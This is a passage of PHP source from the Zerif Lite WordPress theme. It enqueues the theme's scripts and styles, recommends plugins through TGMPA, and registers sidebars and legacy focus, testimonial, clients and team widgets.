wp_enqueue_style( 'zerif_style', get_stylesheet_uri(), array( 'zerif_fontawesome' ), ZERIF_LITE_VERSION );
/* Add this style only for the other cases than New users that have a static page */
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
if ( ! ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) ) {
$custom_css = 'body.home.page:not(.page-template-template-frontpage) {
background-image: none !important;
}';
wp_add_inline_style( 'zerif_style', $custom_css );
}
wp_enqueue_style( 'zerif_responsive_style', get_template_directory_uri() . '/css/responsive.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_enqueue_style( 'zerif_ie_style', get_template_directory_uri() . '/css/ie.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_style_add_data( 'zerif_ie_style', 'conditional', 'lt IE 9' );
if ( wp_is_mobile() ) {
wp_enqueue_style( 'zerif_style_mobile', get_template_directory_uri() . '/css/style-mobile.css', array( 'zerif_bootstrap_style', 'zerif_style' ), 'v1' );
}
/* Bootstrap script */
wp_enqueue_script( 'zerif_bootstrap_script', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Knob script */
wp_enqueue_script( 'zerif_knob_nav', get_template_directory_uri() . '/js/jquery.knob.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Smootscroll script */
$zerif_disable_smooth_scroll = get_theme_mod( 'zerif_disable_smooth_scroll' );
if ( isset( $zerif_disable_smooth_scroll ) && ( $zerif_disable_smooth_scroll != 1 ) ) {
wp_enqueue_script( 'zerif_smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* scrollReveal script */
if ( ! wp_is_mobile() ) {
wp_enqueue_script( 'zerif_scrollReveal_script', get_template_directory_uri() . '/js/scrollReveal.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* zerif script */
wp_enqueue_script( 'zerif_script', get_template_directory_uri() . '/js/zerif.js', array( 'jquery', 'zerif_knob_nav' ), ZERIF_LITE_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/* HTML5Shiv*/
wp_enqueue_script( 'zerif_html5', get_template_directory_uri() . '/js/html5.js' );
wp_script_add_data( 'zerif_html5', 'conditional', 'lt IE 9' );
/* parallax effect */
if ( ! wp_is_mobile() ) {
/* include parallax only if on frontpage and the parallax effect is activated */
$zerif_parallax_use = get_theme_mod( 'zerif_parallax_show' );
if ( ! empty( $zerif_parallax_use ) && ( $zerif_parallax_use == 1 ) && is_front_page() ) :
wp_enqueue_script( 'zerif_parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ), 'v1', true );
endif;
}
add_editor_style( '/css/custom-editor-style.css' );
}
add_action( 'wp_enqueue_scripts', 'zerif_scripts' );
/**
* Adjust content width based on template.
*/
function zerif_adjust_content_width() {
global $content_width;
$zerif_change_to_full_width = get_theme_mod( 'zerif_change_to_full_width' );
if ( is_page_template( 'template-fullwidth.php' ) || is_page_template( 'template-fullwidth-no-title.php' ) || is_page_template( 'woocommerce.php' ) || is_page_template( 'single-download.php' ) || ( is_page_template( 'page.php' ) && ! empty( $zerif_change_to_full_width ) ) ) {
$content_width = 1110;
}
}
add_action( 'template_redirect', 'zerif_adjust_content_width' );
/**
* Remove Yoast rel="prev/next" link from header
*/
function zerif_remove_yoast_rel_link() {
return false;
}
add_filter( 'wpseo_prev_rel_link', 'zerif_remove_yoast_rel_link' );
add_filter( 'wpseo_next_rel_link', 'zerif_remove_yoast_rel_link' );
add_action( 'tgmpa_register', 'zerif_register_required_plugins' );
/**
* Recommend plugins with TGMPA
*/
function zerif_register_required_plugins() {
$wp_version_nr = get_bloginfo( 'version' );
if ( $wp_version_nr < 3.9 ) :
$plugins = array(
array(
'name' => 'Widget customizer',
'slug' => 'widget-customizer',
'required' => false,
),
array(
'name' => 'Pirate Forms',
'slug' => 'pirate-forms',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
else :
$plugins = array(
array(
'name' => 'Pirate Forms',
'slug' => 'pirate-forms',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
endif;
$config = array(
'default_path' => '',
'menu' => 'tgmpa-install-plugins',
'has_notices' => true,
'dismissable' => true,
'dismiss_msg' => '',
'is_automatic' => false,
'message' => '',
'strings' => array(
'page_title' => __( 'Install Required Plugins', 'zerif-lite' ),
'menu_title' => __( 'Install Plugins', 'zerif-lite' ),
/* translators: name of installing plugin */
'installing' => __( 'Installing Plugin: %s', 'zerif-lite' ),
'oops' => __( 'Something went wrong with the plugin API.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin */
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'zerif-lite' ),
/* translators: Name of required plugin that is not active */
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin that is not active */
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of plguin that can't be activated */
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'zerif-lite' ),
/* translators: Name of plugin that needs to be updated */
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'zerif-lite' ),
/* translators: Nme of plugin that can't be updated */
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'zerif-lite' ),
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'zerif-lite' ),
'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'zerif-lite' ),
'return' => __( 'Return to Required Plugins Installer', 'zerif-lite' ),
'plugin_activated' => __( 'Plugin activated successfully.', 'zerif-lite' ),
/* translators: Name of plugins installed and activated successfully */
'complete' => __( 'All plugins installed and activated successfully. %s', 'zerif-lite' ),
'nag_type' => 'updated',
),
);
tgmpa( $plugins, $config );
}
/* Load Jetpack compatibility file. */
require get_template_directory() . '/inc/jetpack.php';
/**
* Menu layout
*/
function zerif_wp_page_menu() {
echo '<ul class="nav navbar-nav navbar-right responsive-nav main-nav-list">';
wp_list_pages(
array(
'title_li' => '',
'depth' => 1,
)
);
echo '</ul>';
}
add_filter( 'the_title', 'zerif_default_title' );
/**
* Add a default title for posts without one
*/
function zerif_default_title( $title ) {
if ( $title == '' ) {
$title = __( 'Default title', 'zerif-lite' );
}
return $title;
}
add_action( 'widgets_init', 'zerif_register_widgets' );
/**
* Register custom widgets
*/
function zerif_register_widgets() {
if ( ! defined( 'THEMEISLE_COMPANION_VERSION' ) ) {
if ( zerif_check_if_old_version_of_theme() ) {
register_widget( 'zerif_ourfocus' );
register_widget( 'zerif_testimonial_widget' );
register_widget( 'zerif_clients_widget' );
register_widget( 'zerif_team_widget' );
}
}
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
);
/* Register sidebars */
foreach ( $zerif_lite_sidebars as $zerif_lite_sidebar ) :
$extra_class = '';
if ( $zerif_lite_sidebar == 'sidebar-ourfocus' ) :
$zerif_lite_name = __( 'Our focus section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-testimonials' ) :
$extra_class = 'feedback-box';
$zerif_lite_name = __( 'Testimonials section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-ourteam' ) :
$zerif_lite_name = __( 'Our team section widgets', 'zerif-lite' );
else :
$zerif_lite_name = $zerif_lite_sidebar;
endif;
register_sidebar(
array(
'name' => $zerif_lite_name,
'id' => $zerif_lite_sidebar,
'before_widget' => '<span id="%1$s" class="' . $extra_class . '">',
'after_widget' => '</span>',
)
);
endforeach;
}
if ( ! class_exists( 'zerif_ourfocus' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Our focus widget
*/
class zerif_ourfocus extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'ctUp-ads-widget',
__( 'Zerif - Our focus widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 focus-box" data-scrollreveal="enter left after 0.15s over 1s">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
printf(
/* Translators: %s: widget title */
__( 'Go to %s', 'zerif-lite' ),
apply_filters( 'widget_title', $instance['title'] )
);
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_ourfocus_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_ourfocus_custom_media_id ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
_e( 'Go to', 'zerif-lite' );
echo apply_filters( 'widget_title', $instance['title'] );
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
}
}
echo '<h3 class="red-border-bottom">';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</h3>';
if ( ! empty( $instance['text'] ) ) {
echo '<p>' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</p>';
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widgets instance
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Widget controls
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Title', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_testimonial_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Testimonial widget
*/
class zerif_testimonial_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_testim-widget',
__( 'Zerif - Testimonial widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
$zerif_accessibility = get_theme_mod( 'zerif_accessibility' );
// open link in a new tab when checkbox "accessibility" is not ticked
$attribut_new_tab = ( isset( $zerif_accessibility ) && ( $zerif_accessibility != 1 ) ? ' target="_blank"' : '' );
echo $args['before_widget'];
if ( ! empty( $instance['text'] ) ) {
echo '<div class="message">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</div>';
}
echo '<div class="client">';
echo '<div class="quote red-text">';
echo '<i class="fa fa-quote-left"></i>';
echo '</div>';
echo '<div class="client-info">';
echo '<a ' . $attribut_new_tab . ' class="client-name"';
if ( ! empty( $instance['link'] ) ) {
echo 'href="' . esc_url( $instance['link'] ) . '"';
}
echo '>';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</a>';
if ( ! empty( $instance['details'] ) ) {
echo '<div class="client-company">' . apply_filters( 'widget_title', $instance['details'] ) . '</div>';
}
echo '</div>';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="" />';
echo '</div>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_testimonials_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_testimonials_custom_media_id ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $zerif_testimonials_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '" />';
echo '</div>';
}
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widget's values
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['details'] = sanitize_text_field( $new_instance['details'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Author', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Author link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'details' ) . '">' . __( 'Author details', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'details' ) . '" id="' . $this->get_field_id( 'details' ) . '" value="';
if ( ! empty( $instance['details'] ) ) {
echo $instance['details'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_clients_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Clients widget
*/
class zerif_clients_widget extends WP_Widget {
/**
* Constructor
*/
public function __construct() {
parent::__construct(
'zerif_clients-widget',
__( 'Zerif - Clients widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widgets scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Widget instance
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<a href="';
if ( ! empty( $instance['link'] ) ) {
echo apply_filters( 'widget_title', $instance['link'] );
}
echo '">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_clients_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_clients_custom_media_id ) ) {
echo '<img src="' . esc_url( $zerif_clients_custom_media_id ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
}
}
echo '</a>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo $instance['link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_team_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Team member widget
*/
class zerif_team_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_team-widget',
__( 'Zerif - Team member widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widget scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Instance widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 team-box">';
echo '<div class="team-member" tabindex="0">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt=""/>';
echo '</figure>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_team_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_team_custom_media_id ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $zerif_team_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '"/>';
echo '</figure>';
}
}
echo '<div class="member-details">';
if ( ! empty( $instance['name'] ) ) {
echo '<h3 class="dark-text red-border-bottom">' . apply_filters( 'widget_title', $instance['name'] ) . '</h3>';
}
if ( ! empty( $instance['position'] ) ) {
echo '<div class="position">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['position'] ) ) . '</div>';
}
echo '</div>';
echo '<div class="social-icons">';
echo '<ul>';
$zerif_team_target = '_self';
if ( ! empty( $instance['open_new_window'] ) ) {
$zerif_team_target = '_blank';
}
if ( ! empty( $instance['fb_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['fb_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Facebook link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-facebook"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['tw_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['tw_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Twitter link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-twitter"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['bh_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['bh_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Behance link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-behance"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['db_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['db_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Dribble link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-dribbble"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['ln_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['ln_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Linkedin link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-linkedin"></i>';
echo '</a>';
echo '</li>';
}
echo '</ul>';
echo '</div>';
if ( ! empty( $instance['description'] ) ) {
echo '<div class="details">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['description'] ) ) . '</div>';
}
echo '</div>';
echo '</div>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
